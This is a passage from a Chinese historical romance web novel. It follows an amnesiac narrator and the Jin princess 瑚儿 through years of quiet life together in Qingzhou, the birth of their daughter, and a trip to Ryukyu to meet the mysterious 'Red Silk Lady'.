“小飞,你如果退烧就好了!哪怕不醒来也好!我一次次下定决心放你离开,你却一次次被送回来,这也太考验我了!我是不是可以把你留在这里了……” “倪飞!我会用骨针刺入你的脑中,以后好好对澈穆格吧!”是古里泰的声音,可是我无法反抗,头仿佛被敲击着,闷闷的,逐渐没有痛感,我又跌入黑暗中,身体感觉浮起来,像是在深海中…… “哈梵!你在做什么!?”完颜晴的声音,焦急的询问。 “别碰!我在施萨满教秘术,她肺有积水,炎症入脑,若是不将药物推入其中,她迟早会高烧而死的!现在中断的话,她可能永远也醒不过来了,澈穆格你相信我,我命不久矣,姑姑和女儿还要靠你照拂呢!我会救活她的……” “这不是可以交易的事!”完颜晴的声音愤怒而颤抖…… 我还在黑暗中漂浮,越陷越深,逐渐听不到声音了,好多人和事的画面在周围闪现,然后离我而去,最后出现的是一个游向我的人,很熟悉,我伸手去抓,我感觉她是瑚儿!我的瑚儿……你来救我了……瑚儿……我…… “瑚儿!”我喊出了声,睁开眼睛,又被阳光刺痛。 “你醒了!”一个女人的声音温柔的问着,伸手敷在我的手上,为我遮挡着光。 我试着恢复视力,然后放下了手,我看到青色的床幔,又看到坐在床前的女子很美丽,但是我想不起她是谁?我试着坐起来,虽然有点无力,但是在她的帮助下还是坐起来了。 “醒了就好,你昨天才退烧!”她为我调整了棉枕头,我可以靠着坐稳。 这么关心我?我看着她似曾相识,会是谁呢?难道是瑚儿?我记得她是对我很重要的人! “瑚儿?!”我看着她尝试着叫着这个名字。 “嗯?我马上派人去……”她张大眼睛略带疑惑,随即想叫人去请大夫吧! 我好像不能让她离开,我一把抱住她“瑚儿!我终于找到你了!我好想你!”怀中的人怔住,感觉到她的头微微动着,似乎是转向了我。 “小飞……你……”她轻轻问着。 小飞?是我的名字吗?我怎么一点印象也没有,我试着回忆,可是空空如也,头又疼了起来,我用力揉着头,“好疼!瑚儿我好难受!……我不记得自己是谁了?瑚儿!” “好了……好了!那就不着急想!”略带冰凉的手指触碰着我的太阳穴,轻轻揉起来。 我敷上她的手,轻轻握着,这么温柔美好,又这么关心我的人,一定是我最爱的瑚儿! “瑚儿,别再丢下我了!”我祈求着她,泪水不住的流着! 她眼中晶莹,用另一只手轻轻擦着我的眼泪,哽咽着说“好!我们再也不分开了!我会永远陪着你!” “公主,我买了月饼回来!”乌里将油纸包里的月饼取出,放在盘中,然后就去准备晚餐了。 我醒来已经有几日了,每日喝着瑚儿让乌里给我做的参汤,身体是越来越好了。瑚儿每日陪着我,担心我会不适应,她好像堆积了一些书信没有看,今日在我的劝慰下才去处理。 整好赶上中秋节,热闹的声音院墙是挡不住的,我为她续好了茶水,就去厨房了,想到乌里也在,瑚儿便没有阻止我。周围的一切熟悉又陌生,我自然而然的走到厨房,乌里正在切菜,我看着青菜和鸡蛋,不自觉也想做点东西,按照脑子里的画面,我做好了一碗蔬菜面,还煮了一些鸡蛋,剥好一颗放在面里。 “瑚儿,饿了吗?”我端着面走进屋里,她正沉迷于一幅地图和战报,听到我的召唤,轻轻答应着。 “长寿面?!你记起来了吗!?”她看到了我拿来的食物,惊讶的忙问我。 “今日是你的生辰吗?”我看着她,遭了我真的不记得了,我赶快坐过去拉着她的手“瑚儿!我忘记了,我该送你点什么的?对不起……我” “我以往过生日也是有你做的面就好了,如今你在我身边,就是最好的礼物!”瑚儿忙安慰我道,“我们按照习惯,一起吃!”说着她让乌里取来碗筷,盛出一半来。 “长寿面长命百岁呢?”我嘟囔着,不想接过来。 “我自己长命百岁干嘛?”她看着我笑了,捏捏我的脸,将半碗面递给我,“其实这些说法就是讨个彩头嘛!还是你教我的!如果真的可以分给你,我想和你一起偕老!” 原来分半碗面是这个意思!我接过碗时觉得这场景确实熟悉,可能以前我们真的这么做过吧! “好!那~干!”我将碗轻轻碰了下瑚儿的碗,她也笑了。然后我们一起吃完了今年的长寿面,往后的每一年,我们都这么做了…… 朝朝暮暮平淡之中,我们的日子温馨的度过着。瑚儿在意的事除了我是不是健康平安,好像就只有那经常送来的书信了,她会认真看着回复着。但是她并不喜欢出门,也许是我们住的地方热闹,登上假山的亭子,四面可以看到不同的风景,有热闹的街市、繁华的海港、香火旺盛的寺庙,还有一座学堂,在园中也并不会寂寞,不知不觉就会度过一年四季。 “公主,陛下的旨意……”乌里拿着圣旨为难的劝着。 瑚儿将回信封好递给乌里,“我在这里也可以处理很多事,不会耽搁什么的!和剌已经可以独当一面了!我辅助一点就好!”抬头见到我端着饭菜进来,她让乌里去送信了。 “今天吃什么啊?”她搓搓手很期待的问。 “五香煎豆腐、红烧鱼还有炒黄豆芽”我一样样摆好,又给她倒好了一杯米酒。 “小飞~你做的饭菜我都爱吃的!”她眼睛微微泛红的说着。 我身体恢复之后,她在处理好信件消息之后,便会拉着我看书,我自然的读着那些古文,讲故事一样的翻译给她听,她欣慰而痴迷的眼神,是那么熟悉,我想我们以前也一定是这样的。 偶尔我会下厨做点饭菜,有些画面会出现,我试着做了糖醋口味的菜、还有辣的东西,瑚儿吃的有些勉强,但还是努力要吃光,看着她辣得涨红的脸,我自责不已,都怪我脑子受伤了,把她的喜好都记混乱了。我问了乌里,她也说你做的公主都爱吃,不过她更喜欢味道单一点的东西。 慢慢的我尝试出了,咸香是她的最爱,不过日日一起吃饭,我们的口味也逐渐融合了,辣的、酸的她也能吃点了。但是如果为了让她吃的舒心,我在自己下厨时一定会做对她口味的菜。 “你天天都那么累,必须要吃好才行!”我一边说着一边将鱼腹上的肉蘸好了汤汁,放在她的碗里。 她忙着的好像是事关很多人太平的事,我看她有时会殚精竭虑的思考着对策,有时彻夜难眠……得补充好营养啊! “好吃!你也吃”瑚儿将鱼肉和饭送入口中,不禁感叹,又如法炮制的为我也夹了一块,我自然也是欣然享用着。 然后我用勺子盛了一勺鱼汤淋在饭上吃了起来,瑚儿问着“这样好吃吗?” 我回答“当然啊,土灶炖鱼的汤超级美味,要不要尝尝?” 她点头,我想再拿一个勺子给她,她却直接接过我的勺子吃着,“嗯~果然美味,小飞我也要”好呀!我又为她淋了鱼汤。 酒足饭饱之后,米酒也刚好让我们微醺,我们便简单洗漱了一下上床休息了。 也许伤口愈合需要时间,起初她会以我身体不好为由,睡在屋内其他床榻上。可是我记得我们曾经更亲密的,有天我拉住她的手,委屈的看着她,“瑚儿~”她脸红红的留了下来。 我们一点点的增进着亲密,从同榻而卧到相拥而眠,宛如初次相恋的人,一点点相信着、靠近着彼此,这种感觉熟悉而又别样的心动…… 但是渐渐的,我发现她有着心结,她会在惊醒、哭泣。我只好将她抱得更紧哄着她入睡…… 这天夜里我迷糊之间揽住了她,她也自然靠入我的怀里,可能是我的呼吸打在她的脖颈上,煽动着她的碎发,她呢喃着抗议“小飞~痒……”我下意识的亲着她的后颈,感觉到了她的炽热,是因为喝了酒吗?我想念着和她的亲密,也许可以回忆起更多过去的事。 我的手开始穿过她的寝衣,接触着她的肌肤,她的身体确实比我的手还要热,而且越来越被点燃,心口的饱满刚好被握住……细碎的呻口今声溢出她口中,让我也口干舌燥起来,“可以吗?瑚儿~”我吞咽着,有一下没一下的吻着她露出来的脖颈和肩。渐渐的,无法得到满足,我轻轻解开她的衣衫,亲吻和抚摸的天地变得广阔,我仿佛拥有了全世界。 “可以吗?瑚儿~”我再一次问着,她平躺着任由我吻遍她的身体,她的手揽着我的背,月光透过窗朦胧洒下,让我可以看清她白皙的身体,已经微微出汗。 “小飞~”她唤着我,“小飞,我……害怕……” “别怕,瑚儿,你看看是我,你的小飞……”我说着吻着她的眼睛,她终于张开眼,手移到我的脸上,轻轻摸着。又摸摸我的耳朵,然后再一次揽着我的背让我和她贴近,我们深深的吻着彼此,在呼吸困难之后才放开。 我吻着她的心,她更用力抱住我,轻轻的说着“我是你的瑚儿,只是你的瑚儿……” 她在我的指尖盛开绽放…… 潮起潮落…… 我抱着不住颤抖的她,等待她平息下来…… 她轻轻的哭泣着,我有点慌神,亲吻着她的泪珠,问着她怎么了,“是不是我们太久没在一起,让你不舒服了!?” “不会~我曾以为,这不过是欲望的宣泄,也以为自己无所谓”她的气息还有些不稳,泪水依旧在流着,“我才意识到,原来可以快乐!……没有遇到你的我,曾经是那么可怜!” “小飞,抱紧我!”她早已抱紧了我,我自然会按照她说的做…… 自那之后,习惯了亲密的人,会更加亲昵!日子依旧温馨,相亲相爱也更和谐…… 直到有天,瑚儿看了一会书就头晕不已,疲倦恶心,她自己懂医术,但是也不敢确定,我们就找来了一位女大夫,切脉之后就问着“你想过成为母亲吗?”不像一般大夫上来就道喜,她更贴心的考虑着瑚儿的感受。 瑚儿,有了身孕?按理说我应该震惊,但是为什么又觉得似曾相识呢? 谢过了大夫,乌里忙拉过我说着“小飞,咱们府里连猫猫狗狗还有马都是母的,公主又不喜欢出门,你不可以瞎猜乱怀疑!” 啊?!这有什么可怀疑的,我那么黏着她,她也没空有别人啊! 我点头安慰着乌里,也许我的血液特殊吧!你们又给我吃了不少灵丹妙药,加上瑚儿一心为民,也许是老天爷给我们的礼物呢? 我进入屋内,轻抚着正要呕吐的瑚儿的背,将刚刚的话又和她说了,她放下水杯,不敢置信的说着,“我还真没有想过会有今天,难道是九转殊途!?” 这名字也很熟悉,看来真是奇缘再现了!诶?我为什么要说“再”字呢? 99、珍珠 “瑚儿,你期待成为母亲吗?”我轻轻为她揉着腿,已经四个月了,如果她不喜欢,应该还来得及…… 她摇摇头,“以前从没有想过!”她吃了口梅干,微微迟疑。 我问她怎么了?她说好像感受到她在动了,她看着我的紧张的样子笑了,“要是能和你一样对我这么好,也可以让她来到世上!” 我们对视笑了,期待是随着付出而增加的…… 闲暇之余,我们会一起上街买点给小孩子的东西,乌里也买了很多红红粉粉的小衣服、小帽子。我们都默认一定会是个女孩子呢! “我是觉得女孩子也不耽误舞刀弄枪的!”路过一个木工摊位,我买了小弓箭和小木剑,孩子活泼点健康点就好了。 宅院中靠近我们的房间被逐渐堆满可爱的小物件,期待也被堆积着…… 但是她并没有如约到来,瑚儿怀孕五个月时的一天中午,她看完了金国的书信,正要起身,却觉得肚子很痛,她大叫着引来了我和乌里,我们尽快请来了大夫,但是她还是离开了…… “我不应该那么累的!不应该服用那些药!”瑚儿躺在床上自责着,大夫说她以前常服用凉药,所以体质比较虚弱。她憔悴的样子让我心疼,我和乌里调着样子给她做各种滋补身体的汤。 “我们本来就没想过会有孩子……”我劝着瑚儿,“我们有彼此就够了,我还真的怕有了那个小家伙之后,你对我会淡了呢!”我连哄带骗带撒娇的烦着她……让她知道我不能没有她,我们的生活还可以继续…… 人这辈子,只要活着,再大的伤口也会愈合的。瑚儿终于一点点振作起来,只是不愿我们丢掉那间房里的东西。 日子还得过啊!更何况她始终有很多事可以做,金国的书信从来没有断过,但是金国的人她也从来不让进门,也不会见面。 我们在青州的这期间,金国发生了一些事,金皇帝也就是她的侄儿和剌,彻底清除了昌大王,还将他的侧妃宋公主金奴收入宫中,监控起来。这些人名我好像有印象但是又想不起到底是谁,不过既然有瑚儿的授意参与,应该都是正常进行的。我能感受到因为宋金融合越来越多,四海也尚算太平。 只有我知道,为了这份太平瑚儿付出了多少,她闲下来的时间很少,每天几乎不是在看书就是在回信谋划,她敏锐的感觉到和剌的改变,朝中的局势也波橘云诡起来,她又增加了关注的目标,她其他几个侄子的动态。 我感慨她的不容易,也心疼的她披肝沥胆,她总是想着尽量两全其美,保全更多人的办法,我钦佩她的善良和本领,所以尽力照顾她的日常,她是我最重要的人,我不忍心让她那么累,而且照顾她也是我对世间的一份贡献吧!我会结合她的心情,挑选能宽慰她的书。 她这样一个神秘的人,难眠会被碎语闲言非议,村镇里的人会好奇的讨论起,这位未见丈夫的夫人为什么深居简出还很富贵,而且总有兵士往来求见,看来还是权贵呢!连带着乌里也总被说,这么大岁数了,主人也不给她找个婆家。 这些话,乌里倒是毫不在意,戏说她们就是羡慕自己轻松自在吧!她不缺钱,又做着自己喜欢舒心的事,为什么要为别人牵肠挂肚呢?别骗她跳火坑了。 想的也对! 瑚儿自然也不在意这些街头巷尾的议论,但是朝中也总有对她的非议,她就得尽力化解了,她说过她是宋金两国的公主,我对她好她觉得幸福,她就越是要守护两边的太平,这是她对一个人的承诺。 久而久之,我比较好奇到底是对谁的承诺! 时光在平静中一点点向前,对承诺人的好奇,成了我的心病。有一天我在找书的时候,翻到了一幅画,打开一看是一幅人物像,里面的人看衣服是个男子,但是因为泡了水,面容看不清,这样都还留着,难道是瑚儿一直说的承诺对象吗? 我回忆着这些年来的事,虽然只有重伤醒来后的记忆。不会是古里泰,他在我刚醒的时候在,但是后来就没出现过,前些年听说他去世了,瑚儿也没有特别伤心,自然也没有去参加葬礼,只是托人好好照顾他的女儿。 那还能是谁呢?我们彼此那么亲密,她对我也很热切,就算她本来不喜欢女子,也不像是喜欢过什么男人啊!画里的人到底是谁? 我旁敲侧击的问着乌里,对画像里的人有没有印象,乌里笑了,未等回答,瑚儿就飘然而来,“那这个人你数不熟悉啊?”说着瑚儿又拿出一张泛黄的悬赏告示,里面的人是穿着胡服女装的我。 瑚儿望着满头问号的我,故作悲戚的样子,“你当年扮成男子,把我骗财骗色了!所以我才追你到天涯海角,把你永远留在我身边了!” 啊?“这是我?!”我瞪大了眼睛,拿起那幅画,“我当年这么对你?” “骗你的!”瑚儿拿过画,“你扮男子时,我把你当知己好友,还没有那个心思!” “那什么时候动心了?”我抱着她的手臂急忙问道,她这样美丽能干的人,能让我在她心里有一席之地,是我的幸福!到底是哪个时刻打动了她呢? “很多时候,就是一种感觉!”她这会是真的在回想了,嘴角不自觉上扬。 “啊~瑚儿你欺负我头受了伤,把我们美好的记忆都弄丢掉了”我轻轻摇晃着她,“告诉我嘛!” “哇,都多大人了还撒娇!”瑚儿拉起我的手,写下了“醉”字,“还有很多,我那时调又戈你,你宁死不屈的模样……哪怕自身难保也总是想着救人时的坚毅,还有你对……”她迟疑片刻神情哀婉“对我的好!” “这不是应该的吗?”我被她的话温暖着心,看着她眼睛红了,我将她抱在怀中,“以后会有更多美好回忆,让你更爱我!”我亲了亲她的眼睛,“瑚儿的眼睛不该看到人世间的伤心!” “好,我们好好的过这一辈子!我也会守住我们的太平!”瑚儿看着我,抚着我的脸。 她依然操心着朝中的事,只是和剌问政的信减少了,看来他也有了自己的主意。瑚儿感慨“当年让他娶了昌王妃推荐的人,真是留下了一个隐患……妻子对一个家族太重要了……” 不过也许是人各有命,瑚儿也不强求了,倒也借着这个机会难得放松下来,尽量调养身体,看来有些事她还没有死心…… 又过了七八年平静的日子,瑚儿终于又有了反应,我们请大夫来看,确认是又有了身孕。这次她很小心,每天都减少了看书看信的时间,也按照大夫的医嘱服药。她居然这么期待了吗? 我们住的地方西面有一座寺庙,有一天她居然要我带着她去祈福!我怎么记得她从来不信这些,我醒来快十年了,我们从来没去过。 捐了丰厚的香火钱后,我扶着瑚儿进去祈祷,我回头发现了那位女大夫,她恰好陪着母亲来上香,看到我们,就招手唤我过去。 “夫人的身体其实不适合生产的,我昨日诊脉发现再勉强下去可能会危害到她的性命!”这话惊得我冷汗直流,“你们还是早做打算吧!” 心事重重的我走回大殿中。 “我从未信仰过你,自问也不算好人,我现在的平静幸福是偷来、抢来、霸占来的吗?可我也做了不少大家说的好事,救了很多人。我能否有个自己的亲人?我想和小飞有血脉的联系!”我听到瑚儿的话,五味杂陈,可是没有什么比她生命重要。 那日回来后,我拉着瑚儿劝了好久,直到我哭着说没有你我怎么办?她才愿意让这个没有来的孩子离开…… “如果九转殊途真的有灵,我希望我来受这份罪!”我喂着躺在床上的瑚儿喝着药,我轻轻的说着,我以前应该也这么想过,瑚儿已经很不容易,不该为本来就不存在生命而难过。 “罢了,我也舍不得你受罪,以后我们守着彼此就好!”瑚儿也安慰我道。 等调养好了身体,我请大夫为瑚儿开了药,让她不再会为此而烦恼…… 四十不惑,五十而知天命,我不记得自己到底多大,只知道我比瑚儿年长些。当我陪着她看着一个个日升月落,经过一个又一个春夏秋冬后,瑚儿四十五岁这一年,金国发生了天大的事,她扶持多年的和剌被堂兄弟刺杀,夺位继任的海陵王,一把火烧了上京城宫殿,将王公贵族打包装车,一起迁都到了燕京。 他是一位自负却也有能力魄力的君王,有人说他智足拒谏、言足饰非,也就是智谋可以怼谋士文臣,口才又可以把自己的错误说成好的。瑚儿尽力保护了几个有潜力的侄子,让他们韬光养晦。我们因为一直偏居青州,新任金王倒是懒得理我们。 我们也进入了休养生息、按兵不动的赋闲日子,每日买买菜、看看书。二月的一天,我们从街上回来,路过一棵树下,呼救声传来,抬头一看,是个四五岁的小学童,她们学堂近日散学早,她和伙伴一起放纸鸢,没想到挂到树上了,她上得去却下不来,如今正急的哭。 “我来吧!”我将菜篓递给瑚儿,在附近商户找来梯子爬上去,引导这孩子下来。忙活的也出了一身汗呢!好在平稳落地,我们用一包糖哄好了她,她说自己叫晚晴,向我们行礼道谢后,乐颠颠的拿着糖和风筝跑了。能供女孩读书的家庭应该富足,这孩子应该也是幸福的。 目送着她的身影消失在巷口,我们继续往家走,没走两步我却突然眼前一黑晕倒了。 “小飞,你好点了吗?”瑚儿拉着我的手,我躺在床上,她紧张认真的问着我“有没有想吃的,我让乌里给你做!” “啊!我得了什么重病吗?”我也紧张起来,“我是不是要死了!?” “别吓我,你是有身孕了!”瑚儿激动的说着,“没想到九转殊途真的这么神奇!” 我的诺言成真了!也许真的是命中注定吧!瑚儿非常小心照顾着我,我却没有什么不适,以前我的月事并不算规律,所以也没往这里想! 其实我们一面期待一面又不敢太让彼此觉得期待,瑚儿经历了两次失去,我这个年纪也不敢说会不会顺利把她带到这世上来。我也不年轻了,大夫也会说危险这类的话,瑚儿这次倒是没有去寺庙,她自己也说,以前总觉得祈福的人可笑,现在明白了原来祈祷是实在没有办法时才会做的。 万般皆是命,但是我心里记得瑚儿的话,她想有个和我血脉相连的亲人。 腰酸腿痛,但是被无微不至的照顾着,能挺住的,日子一天一天过去了…… 八个多月后,也算是足月吧!我在瑚儿的陪伴下,没有太被折磨,痛了一个时辰! 我们的女儿出生了,一个不算重的小家伙,皱巴巴的五官依稀可见都是瑚儿的影子,“看来我的血脉是谢谢参与了!”我笑着逗瑚儿,毕竟她哭的不能自矜。 把孩子交给乌里包好,瑚儿贴着我的额头说着“谢谢你,小飞!” 那间尘封的房间终于被打开,瑚儿觉得还可以堆得更满一点…… 请好了乳娘,我倒是可以安心恢复了,孩子也到多由瑚儿在带着,感谢老天让她这么全能又有担当。 瑚儿和我商量着,叫什么名字好! “名字是妈妈娘亲的祝福!”我想着说,“我答应为你生了她,让她跟你姓,你想怎么叫就怎么叫!” 她回忆说孩子出生时,繁星满天,女真小名可以叫穆尔格,意思是灿烂的希望之星。但是她不想孩子姓完颜或者姓赵,想来想去,我记得曾陪她去祭拜父母,她的母亲姓李,我们便决定沿袭母系的姓吧!叫李晨星,小名星儿! 就这样,在瑚儿觉得自己什么都不会疑惑和已经了然天命之间的年纪,她有了一个自己的亲人。 这孩子对我来说算是来报恩的,因为几乎不用我太操心,夜里居然不哭闹,至少我没有被吵醒过。 直到有一天,我口渴起来喝水,却发现瑚儿不在,我看到她抱着星儿坐在窗边,哄着星儿喝着存好保温的奶,口中还轻轻说着“星儿不可以吵妈妈哦,娘陪着你玩,星儿你看天上的那颗……”原来她这么健谈啊!看来有太多话,她都不敢和我们唠叨,哄着星儿的她是幸福的吗? 星儿长得和瑚儿简直是一个模子刻出来的,越发漂亮,不过性格不知道随了谁,她们买的粉色衣服不禁她的施展,总是很容易脏和破。反倒是我买的那些木马、木剑很受青睐。瑚儿喜欢读书的喜好,也在星儿身上不见踪影。 “没事,反正你有本事有钱,只要品性不坏,星儿这辈子也能衣食无忧!”我安慰着瑚儿,她是真的有点气馁了! “要不给她找个伴儿……读?”我想起早上路过街市有人在插草卖身,瑚儿觉得可行。我们便让乌里去看,不多时她领回来一个十三四岁的小女孩,眼熟!问起名字居然是苏晚晴,这不就是我们当年从树上救下来的小姑娘吗?也是遇到她之后我才发现有了星儿,也许这是她们的缘分。她家突遇变故,只好卖身为奴,能与我们再相逢,也是缘分。 星儿一见她就很喜欢,也很听她的话。至于读书!? 有日我路过她的房间,星儿枕在晚晴的腿上,听着她念书。哟,这么会享受,我可算知道她随了谁了!毕竟我也要去给她娘读古书了呢! 星儿再长大一点,我就瞒着瑚儿偷偷带她去学骑马了!我们从郊外骑到了海边,有商贩买着珍珠。 “妈~珍珠是怎么形成的?真的是鲛人的眼泪吗?”星儿买来了两颗,问着我。 “嗯……我还记得一个说法,”我脑海里不知怎么的想起来,是蚌为了不让砂砾磨痛它,产生了一些东西包裹它,是让自己不痛苦的自我保护。但是这个说法有点悲伤,星儿未必听得懂,“是鲛人的眼泪也很浪漫!我们回去吧!你的晚晴在等你吃饭吧!” “你的瑚儿不也是?” 我以为我们的日子会一直这么平静下去,直到有一天,瑚儿突然让乌里收拾着东西,我问要去哪里吗? “琉球!”瑚儿轻轻的回答着…… 100、红绢夫人 “琉球!?”我疑问着“为什么要去那里?坐船要一两个月吧!你的身体……”瑚儿已经五十五岁了,我们的身体都大不如前,怎么经得起这样的颠簸。 “故人有要事邀我们去!”瑚儿锤了锤自己肩,才张罗收拾了一会,她就乏了。 “非去不可吗?”我过去帮她揉着肩背。 “嗯!不然会后悔的!”她点头说着,“我和你都没有旅行过,太遗憾了!” 看来她主意已定,而且真的很想去,我当然要陪着她了! “这个披风也带着吗?”我一面收拾着,一面问着瑚儿。 “这是乌禄媳妇送来的,很用心很暖和,带着吧!”瑚儿叹息着,“你还记得,你曾经问我这些侄儿里谁最有希望终结海陵王的暴政吗?” “嗯,你不是说乌禄吗?因为乌林答很贤能会辅助他……可惜她不在了!”我也感慨道,海陵王曾招她入宫,她为了保全家人,假意答应,然后选择在进京途中自尽,保住了乌禄的尊严。虽然生命珍贵,但是当时也没有办法!我们无法评断…… 家里和星儿就交给乌里照顾了,我和瑚儿登上了客船,不知怎么回事,我一上船就头晕不已,心慌、手心冒虚汗,本来想要照顾瑚儿,反倒是被她安抚了好久,航程过半我才慢慢适应过来。 两个月来,每天看着一望无际的海、飞翔的海鸟,她不用被书信战报绊着,也不用操心星儿读书,我们也算度过了难得轻松惬意的时光,海浪声似乎也很助眠。海上的日出日落似乎更艳丽,瑚儿的白发被它们映照的泛着金色的光芒。 终于,船停靠在一座繁华的海港,岸上的人们穿着和我们略有不同,但是风格相似。下了船,瑚儿让侍卫找了当地人向导,虽然这里人应该也会说汉语,但是毕竟初来乍到嘛! “二位夫人,请随我来!”年岁大了以后,我们出门不用再乔装了,我也可以做个快乐的老太太,对外我和瑚儿以姐妹相称,免去了不少麻烦。 走在琉球街上,发现这里有不少店铺用汉字牌坊呢!走着走着,渐渐地我发现当地天字号的店铺很多,比如天恩居、天福坊、天雪堂、天心斋…… “我们这里和中原有很多相通之处,还得多亏了红绢夫人呢!这城里的带天字的产业大多是她家或者颜家的,不过她们也算一家!”向导说着。 “红绢夫人?”我重复着这个名字,挺奇特的!不过应该也是商贾奇女子吧! “她来这里也有二三十年了!我们也不知道她的姓氏,她的宅院中高杆上总挂有一块红绢布,鲜鲜亮亮的,可能因为她家有染布坊,可以补充替换”向导继续说着这位传奇的夫人,“久而久之她的买卖做的大了,福泽了不少人,大家印象最深的就是那红绢了,就尊称她为红绢夫人!” 我们一面听的入神一面走着,走到一处工坊前,瑚儿停下来说,“我去看看,你不用陪我,到处逛逛吧!”说着带着向导走进去了。 啊?我也是人生地不熟啊!但是既然她要去处理什么事,我就自己先溜达溜达吧!我在川流不息的人群中边走边看,突然遥望到一片红亮,这场景我好像在梦里见过,心跳不觉加快了,自然而然向那里走去。 因为杆子很高,看得到其实距离挺远的,我走了一会居然还没到,期间路过一处船舶停靠地,围了很多人,我便也去看看热闹,穿过人群,看到一位身着淡黄色衣服的女子在抢救一个落水的孩童。 她不断按压着女童的心口,又向她口中吹气,折腾了一会,孩子终于吐出一口水,哭了起来,得救了!黄衣女子扶着孩子起来,交给她的母亲,自己才起身,衣服已经沾湿了,众人称赞她“多谢升小姐”“升小姐是天女,人美心善”“我一定为小姐祈福,祝您婚姻美满”女子轻轻摆摆手笑着道谢。 回头她看到了我,对视时,我觉得她看起来好眼熟,那么美丽那么年轻。“您是宋人?”看着我的穿着,她走过来问着,我点点头。她接着说“刚好,您可以去我家坐坐,我娘最喜欢听中原的事!”说着拉起我向红绸的方向走去。 “生儿!你跑哪里去了?”迎面跑来一个年轻男子,关切的问着她,见她衣服湿了忙脱下外套给她“生儿你快披上!” “我本来去码头验收货的,刚好碰到一个落水的女孩,那当然得救啊!”她拉着我一面走一面说着,叮嘱那男子“你帮我去打打掩护,我换好衣服再去见娘!” 她将我带到一座宅院里,门开着,搬搬抬抬的人往来不绝,这里好像在忙着什么事! “这里在筹备什么吗?”我问着。 “我的婚事啊!”她拉着穿过重重院,走到内院中,我抬头看着这院中园的门匾上写着“望心园”,进入园内,发现这里并不大,园内栽着几株花树,有石桌石椅,地上的石子铺出的图案也很别致,秋千旁的高灯笼杆上,悬挂这一块亮红色的绢布……这里怎么好像在哪里见过……我恍神,忘记问她怎么成婚前还这么洒脱。 啪嗒,一颗石头掉落在我脚边,抬头看去是一只鹰?!她降落在屋脊之上。 “青儿很久不这么活泼了!”女子嘀咕着,随即大声向它喊着“青儿!不要欺负客人啊!” “您先在这里坐一会,我换过衣服就带你去见我娘!”她说着就跑向出园门。 “姑娘怎么称呼?我怕一会府里人来,当我是骗子!”我喊着她。 “我叫倪泩,单人倪、三水生!”她留下了声音,人影却不见了! 本家啊!还真是有缘! 我也不能随便走动,就坐在石凳上等着,抬头看着叫青儿的鹰,她就撇过头,一副嫌弃我的样子,我这么招小动物讨厌吗?正在反思着,我听到脚步声传来。 “倪泩!别躲了,你今天又跑去码头了!”是个女子的声音,带着一丝怒气,“这两天,你就不能好好准备出嫁吗?” 我忙起身,迎上了来人的目光……一位和瑚儿年纪相仿,却也有岁月沉淀的魅力和独特气质的夫人出现在我的面前。倪泩长得很像她,应该是倪泩的娘亲吧! “我是在做梦吗?”她愣住了,随即向我走来,眼中闪着泪光。为什么她的神情这么熟悉! “红娟夫人?!”我试着叫她,“我是宋人,我们……认识吗?” 她眉宇间情绪,从不可置信变得哀伤。她颓然的坐在石凳上,我忙过去问她怎么了,她看着我的脸,目光又看到了我的咽喉处,那里有道旧伤疤的。她失神了片刻,便为我倒了茶,“中原都好吗?” 看来是担忧着宋金两国的情况,我把我知道的情况简单说着……尚算平稳吧! 讲了好久,再看向她时,她正痴痴的望着我,我有点不好意思了,忙说着“我这个人,一讲起话来就半天没个完!听烦了吧!?”说着我忙喝了口水。 “嗯?不会!我喜欢听你讲故事!”她微微遥遥头自然说着,随即又觉得失态了,便又补充着“我喜欢听人讲中原的故事!离开那太久了!” “说了半天,还没介绍呢?我叫倪飞,和妹妹一起来到琉球见朋友!”我放下茶杯说道,“听大家都叫您红绢夫人,还没请教您的姓名?!” “我的名字?!……很多年没有人叫起了!”她微微叹着气,起身走到园中,抬头看了看那红绢。 “瑚儿!”我发现瑚儿出现在园门口,忙唤着她,“你来了!”她居然还换了一身妆容,更有精气神的美!我过去搀扶她进来,和红绢夫人打招呼。 却见她停滞片刻才转过身来,眼睛微红,似乎…… “夫人,这是我的妹妹瑚儿,瑚儿,她是?”我为她们互相介绍。 “不用介绍了!”她们同时说着,瑚儿看着她说“我们算是旧相识了,仿佛从出生起就认识了!” “哦?这些年没听你说过!”我感慨着,这么多年的朋友,都没见过啊! “这不是路途遥远嘛!”瑚儿看了我一眼,又看向红绢夫人,说着“我们来这里就是参加她女儿的婚礼的!” “原来是这样!倪泩!对吗?”我联想着今天的遭遇。 “娘,您见到中原的朋友了吗?”倪泩换好了衣服,跑进园门,看到我和瑚儿,正想着要打招呼。瑚儿却说要和红绢夫人叙叙旧,两人便留下我和倪泩去别的地方了。 我和倪泩也聊了一会天,还是觉得那红绢很牵动人心,便问了。 “娘说这红绢是答案,是心意,也是思念!”她站起来走到高杆下,“从我记事起,娘就建了这园子,每半月就会换一次红绢,所以它永远那么亮,远看着向太阳一样!” 确实!红红的暖着人心。 “娘说我还有个母亲,不过她在很远很远的地方!”她继续说着,“这是大人骗小孩的话吧!我想,她的爱人可能不在人间了!” “所以你想一直陪着她?!”我回想着一些路人的评论,倪泩已经二十四岁了,未嫁人在这个时代算是很少见了,“你未来夫君人怎么样?对你好吗?” “敢不好?!雷霆和我自幼一起长大,我们两家算是故交,他家就住在街对面,我出了门就能回家!”她轻松的说着,“不过,我也和他说好了,成了亲我也要住在家里,反正两边都有房间,我想多陪陪娘!” 能自己做主,能陪伴家人,又能干独当一面,还很乐于助人,红绢夫人的女儿很优秀啊!我心里赞叹着…… 正想着,瑚儿和红绢夫人回来了,她安排我们在府里住下。第二天热热闹闹的举办着婚礼,在拜高堂的时候,红绢夫人让我也坐过去了,“我这边只有我自己,你和泩儿也算本家,有缘就做个长辈吧!” 啊,我觉得唐突,看着对面雷家夫妻怔怔的看着我,我也不好意思,却被瑚儿劝着,“去吧!我们给她送个大礼,做长辈也不算为难!” 好吧!我居然还能有这个经历! 看着新人被送入洞房。我注意到红绢夫人多少有些落寞!但是好在,倪泩从来不打算走远! 流水席摆了三天,好不热闹。 我们要返程的前一天,听说晚上有烟花大会,瑚儿便约着我同去。 到了约好的时间,瑚儿带着面具前来,又递给我一副面具,她说这是这里的习俗,入乡随俗嘛!面具的阻隔让我们的声音都听起来怪怪的,“怎么还戴上手套了?”我牵着她的手问道。 “有点冷嘛!快走吧!小飞~”她拉着我加快了脚步。 我们来到岸边,很快天空就被五彩缤纷的烟花点亮了,我们抬头看着。余光注意到她似乎转向我说话,但是太喧闹了,根本听不清,我凑过去问她说了什么,她摇摇头,我想回去再问问吧!便将她揽在怀中……任由烟花将我们一次次照亮…… 